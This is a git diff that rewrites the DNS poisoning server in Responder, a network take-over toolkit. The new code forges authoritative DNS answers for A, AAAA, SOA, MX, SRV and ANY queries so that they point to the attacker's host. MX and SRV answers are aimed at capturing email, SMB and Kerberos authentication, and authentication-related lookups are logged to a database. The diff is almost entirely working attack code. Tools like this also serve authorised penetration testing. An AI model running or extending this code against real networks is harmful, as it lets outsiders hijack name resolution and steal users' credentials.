diff --git a/servers/DNS.py b/servers/DNS.py index 521599d..b571e57 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -1,7 +1,7 @@ #!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com +# email: lgaffie@secorizon.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or @@ -14,121 +14,455 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . +# +# Features: +# - Responds to A, AAAA, SOA, MX, TXT, SRV, and ANY queries +# - SOA records to appear as authoritative DNS server +# - MX record poisoning for email client authentication capture +# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.) +# - Logs interesting authentication-related domains +# - Short TTL (60s) to ensure frequent re-queries +# - IPv6 support for modern networks +# from utils import * -from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT +import struct +import socket + if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -#Should we answer to those AAAA? -Have_IPv6 = settings.Config.IPv6 - -def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - OPT = data[len(data)-22:len(data)-20] - if OPT == "\x00\x29": - return "OPTIPv4" - # If Type A, Class IN, then answer. - elif QueryTypeClass == "\x00\x01\x00\x01": - return "A" - elif QueryTypeClass == "\x00\x21\x00\x01": - return "SRV" - elif QueryTypeClass == "\x00\x1c\x00\x01": - return "IPv6" - - - class DNS(BaseRequestHandler): + """ + Enhanced DNS server for Responder + Redirects DNS queries to attacker's IP to force authentication attempts + """ + def handle(self): - # Ditch it if we don't want to respond to this host - if RespondToThisIP(self.client_address[0]) is not True: - return None - try: - data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": - buff = DNS_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": - buff = DNS_AnsOPT() - buff.calculate(NetworkRecvBufferPython2or3(data)) - soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) + data, socket_obj = self.request + + if len(data) < 12: + return + + # Parse DNS header + transaction_id = data[0:2] + flags = struct.unpack('>H', data[2:4])[0] + questions = struct.unpack('>H', data[4:6])[0] + + # Check if it's a query (QR bit = 0) + if flags & 0x8000: + return # It's a response, ignore + + # Parse question section + query_name, query_type, query_class, offset = self.parse_question(data, 12) + + if not query_name: + return + + # Log the query + if settings.Config.Verbose: + query_type_name = self.get_type_name(query_type) + print(text('[DNS] Query from %s: %s (%s)' % ( + self.client_address[0].replace('::ffff:', ''), + query_name, + query_type_name + ))) + + # Check if we should respond to this query + if not self.should_respond(query_name, query_type): + return + + # Build response + response = self.build_response( + transaction_id, + query_name, + query_type, + query_class, + data + ) + + if response: + socket_obj.sendto(response, self.client_address) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": - buff = DNS_SRV_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: - buff = DNS6_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: - buff = DNS6_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - - except Exception: - pass - -# DNS Server TCP Class -class DNSTCP(BaseRequestHandler): - def handle(self): - # Break out if we don't want to respond to this host - if RespondToThisIP(self.client_address[0]) is not True: + if settings.Config.Verbose: + target_ip = self.get_target_ip(query_type) + print(color('[DNS] Poisoned response: %s -> %s' % ( + query_name, target_ip), 2, 1)) + + except Exception as e: + if settings.Config.Verbose: + print(text('[DNS] Error: %s' % str(e))) + + def parse_question(self, data, offset): + """Parse DNS question section and return domain name, type, class""" + try: + # Parse domain name (labels) + labels = [] + original_offset = offset + + while offset < len(data): + length = data[offset] + + if length == 0: + offset += 1 + break + + # Check for compression pointer + if (length & 0xC0) == 0xC0: + # Compression pointer, stop here + offset += 2 + break + + offset += 1 + if offset + length > len(data): + return None, None, None, offset + + label = data[offset:offset+length].decode('utf-8', errors='ignore') + labels.append(label) + offset += length + + domain_name = '.'.join(labels) + + # Parse type and class + if offset + 4 > len(data): + return None, None, None, offset + + query_type = struct.unpack('>H', data[offset:offset+2])[0] + query_class = struct.unpack('>H', data[offset+2:offset+4])[0] + offset += 4 + + return domain_name, query_type, query_class, offset + + except: + return None, None, None, offset + + def should_respond(self, query_name, query_type): + """Determine if we should respond to this DNS query""" + + # Don't respond to empty queries + if not query_name: + return False + + # Respond to these query types: + # A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255) + supported_types = [1, 6, 15, 16, 28, 33, 255] + if query_type not in supported_types: + return False + + # Filter out WPAD queries if configured + if not settings.Config.WPAD_On_Off: + if 'wpad' in query_name.lower(): + return False + + # Check if domain is in analyze mode targets + if hasattr(settings.Config, 'AnalyzeMode'): + if settings.Config.AnalyzeMode: + # In analyze mode, log but don't respond + return False + + # Log interesting queries (authentication-related domains) + query_lower = query_name.lower() + interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs'] + if any(pattern in query_lower for pattern in interesting_patterns): + SaveToDb({ + 'module': 'DNS', + 'type': 'Interesting-Query', + 'client': self.client_address[0].replace('::ffff:', ''), + 'hostname': query_name, + 'fullhash': query_name + }) + + # Respond to everything + return True + + def build_response(self, transaction_id, query_name, query_type, query_class, original_data): + """Build DNS response packet""" + try: + # DNS Header + response = transaction_id # Transaction ID + + # Flags: Response, Authoritative, No error + flags = 0x8400 # Standard query response, authoritative + response += struct.pack('>H', flags) + + # Questions, Answers, Authority RRs, Additional RRs + response += struct.pack('>H', 1) # 1 question + response += struct.pack('>H', 1) # 1 answer + response += struct.pack('>H', 0) # 0 authority + response += struct.pack('>H', 0) # 0 additional + + # Question section (copy from original query) + # Find question section in original data + question_start = 12 + question_end = question_start + + # Skip to end of domain name + while question_end < len(original_data): + length = original_data[question_end] + if length == 0: + question_end += 5 # null byte + type (2) + class (2) + break + if (length & 0xC0) == 0xC0: + question_end += 6 # pointer (2) + type (2) + class (2) + break + question_end += length + 1 + + question_section = original_data[question_start:question_end] + response += question_section + + # Answer section + # Name (pointer to question) + response += b'\xc0\x0c' # Pointer to offset 12 (question name) + + # Type + response += struct.pack('>H', query_type) + + # Class + response += struct.pack('>H', query_class) + + # TTL (short to ensure frequent re-queries) + response += struct.pack('>I', 60) # 60 seconds + + # Get target IP + target_ip = self.get_target_ip(query_type) + + if query_type == 1: # A record + # RDLENGTH + response += struct.pack('>H', 4) + # RDATA (IPv4 address) + response += socket.inet_aton(target_ip) + + elif query_type == 28: # AAAA record + # RDLENGTH + response += struct.pack('>H', 16) + # RDATA (IPv6 address) + ipv6 = self.get_ipv6_address() + response += socket.inet_pton(socket.AF_INET6, ipv6) + + elif query_type == 6: # SOA record (Start of Authority) + # Build SOA record to appear authoritative + # SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM + + # MNAME (primary nameserver) - pointer to query name + soa_data = b'\xc0\x0c' + + # RNAME (responsible party) - admin@ + # Format: admin. (@ becomes .) + soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name + + # SERIAL (zone serial number) + import time + serial = int(time.time()) % 2147483647 # Use timestamp as serial + soa_data += struct.pack('>I', serial) + + # REFRESH (32-bit seconds) - how often secondary checks for updates + soa_data += struct.pack('>I', 120) # 2 minutes + + # RETRY (32-bit seconds) - retry interval if refresh fails + soa_data += struct.pack('>I', 60) # 1 minute + + # EXPIRE (32-bit seconds) - when zone data becomes invalid + soa_data += struct.pack('>I', 300) # 5 minutes + + # MINIMUM (32-bit seconds) - minimum TTL for negative caching + soa_data += struct.pack('>I', 60) # 60 seconds + + response += struct.pack('>H', len(soa_data)) + response += soa_data + + if settings.Config.Verbose: + print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1)) + + elif query_type == 15: # MX record (mail server) + # Build MX record pointing to our server + # This captures SMTP auth attempts + mx_data = struct.pack('>H', 10) # Priority 10 + mx_data += b'\xc0\x0c' # Pointer to query name (our server) + + response += struct.pack('>H', len(mx_data)) + response += mx_data + + if settings.Config.Verbose: + print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1)) + + elif query_type == 16: # TXT record + # Return a benign TXT record + txt_data = b'v=spf1 a mx ~all' # SPF record + response += struct.pack('>H', len(txt_data) + 1) + response += struct.pack('B', len(txt_data)) + response += txt_data + + elif query_type == 33: # SRV record (service discovery) + # SRV format: priority, weight, port, target + # Useful for capturing Kerberos, LDAP, etc. + srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB) + srv_data += b'\xc0\x0c' # Target (pointer to query name) + + response += struct.pack('>H', len(srv_data)) + response += srv_data + + if settings.Config.Verbose: + print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1)) + + elif query_type == 255: # ANY query + # Respond with A record + response += struct.pack('>H', 4) + response += socket.inet_aton(target_ip) + + return response + + except Exception as e: + if settings.Config.Verbose: + print(text('[DNS] Error building response: %s' % str(e))) return None + def get_target_ip(self, query_type): + """Get the target IP address for spoofed responses""" + # Use Responder's configured IP + if query_type == 28: # AAAA + return self.get_ipv6_address() + else: # A record + return settings.Config.Bind_To + + def get_ipv6_address(self): + """Get IPv6 address for AAAA responses""" + # Priority 1: Use explicitly configured IPv6 + if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6: + return settings.Config.Bind_To_IPv6 + + # Priority 2: Try to detect actual IPv6 on interface try: - data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A": - buff = DNS_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - self.request.send(NetworkSendBufferPython2or3(buff)) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": - buff = DNS_AnsOPT() - buff.calculate(NetworkRecvBufferPython2or3(data)) - self.request.send(NetworkSendBufferPython2or3(buff)) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": - buff = DNS_SRV_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - self.request.send(NetworkSendBufferPython2or3(buff)) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: - buff = DNS6_Ans() - buff.calculate(NetworkRecvBufferPython2or3(data)) - self.request.send(NetworkSendBufferPython2or3(buff)) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: - buff = DNS6_AnsOPT() - buff.calculate(NetworkRecvBufferPython2or3(data)) - self.request.send(NetworkSendBufferPython2or3(buff)) - ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - - except Exception: + import netifaces + ipv4 = settings.Config.Bind_To + + # Find which interface has this IPv4 + for iface in netifaces.interfaces(): + try: + addrs = netifaces.ifaddresses(iface) + # Check if this interface has our IPv4 + if netifaces.AF_INET in addrs: + for addr in addrs[netifaces.AF_INET]: + if addr.get('addr') == ipv4: + # Found the interface, get its global IPv6 + if netifaces.AF_INET6 in addrs: + for ipv6_addr in addrs[netifaces.AF_INET6]: + ipv6 = ipv6_addr.get('addr', '').split('%')[0] + # Return first global IPv6 (not link-local fe80::) + if ipv6 and not ipv6.startswith('fe80:'): + return ipv6 + except: + continue + except ImportError: pass + except: + pass + + # Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x) + # This allows dual-stack clients to connect via IPv4 + try: + ipv4 = settings.Config.Bind_To + return '::ffff:%s' % ipv4 + except: + pass + + # Last resort: return IPv6 loopback + return '::1' + + def get_type_name(self, query_type): + """Convert query type number to name""" + types = { + 1: 'A', + 2: 'NS', + 5: 'CNAME', + 6: 'SOA', + 12: 'PTR', + 15: 'MX', + 16: 'TXT', + 28: 'AAAA', + 33: 'SRV', + 255: 'ANY' + } + return types.get(query_type, 'TYPE%d' % query_type) + +class DNSTCP(BaseRequestHandler): + """ + DNS over TCP server + Handles TCP-based DNS queries (zone transfers, large responses) + """ + + def handle(self): + try: + # TCP DNS messages are prefixed with 2-byte length + length_data = self.request.recv(2) + if len(length_data) < 2: + return + + msg_length = struct.unpack('>H', length_data)[0] + + # Receive the DNS message + data = b'' + while len(data) < msg_length: + chunk = self.request.recv(msg_length - len(data)) + if not chunk: + return + data += chunk + + if len(data) < 12: + return + + # Parse DNS header + transaction_id = data[0:2] + flags = struct.unpack('>H', data[2:4])[0] + questions = struct.unpack('>H', data[4:6])[0] + + # Check if it's a query + if flags & 0x8000: + return + + # Create DNS instance to reuse parsing logic + dns_handler = DNS.__new__(DNS) + dns_handler.client_address = self.client_address + + # Parse question + query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12) + + if not query_name: + return + + # Log the query + if settings.Config.Verbose: + query_type_name = dns_handler.get_type_name(query_type) + print(text('[DNS-TCP] Query from %s: %s (%s)' % ( + self.client_address[0].replace('::ffff:', ''), + query_name, + query_type_name + ))) + + # Check if we should respond + if not dns_handler.should_respond(query_name, query_type): + return + + # Build response + response = dns_handler.build_response( + transaction_id, + query_name, + query_type, + query_class, + data + ) + + if response: + # Prefix with length for TCP + tcp_response = struct.pack('>H', len(response)) + response + self.request.sendall(tcp_response) + + if settings.Config.Verbose: + target_ip = dns_handler.get_target_ip(query_type) + print(color('[DNS-TCP] Poisoned response: %s -> %s' % ( + query_name, target_ip), 2, 1)) + + except Exception as e: + if settings.Config.Verbose: + print(text('[DNS-TCP] Error: %s' % str(e)))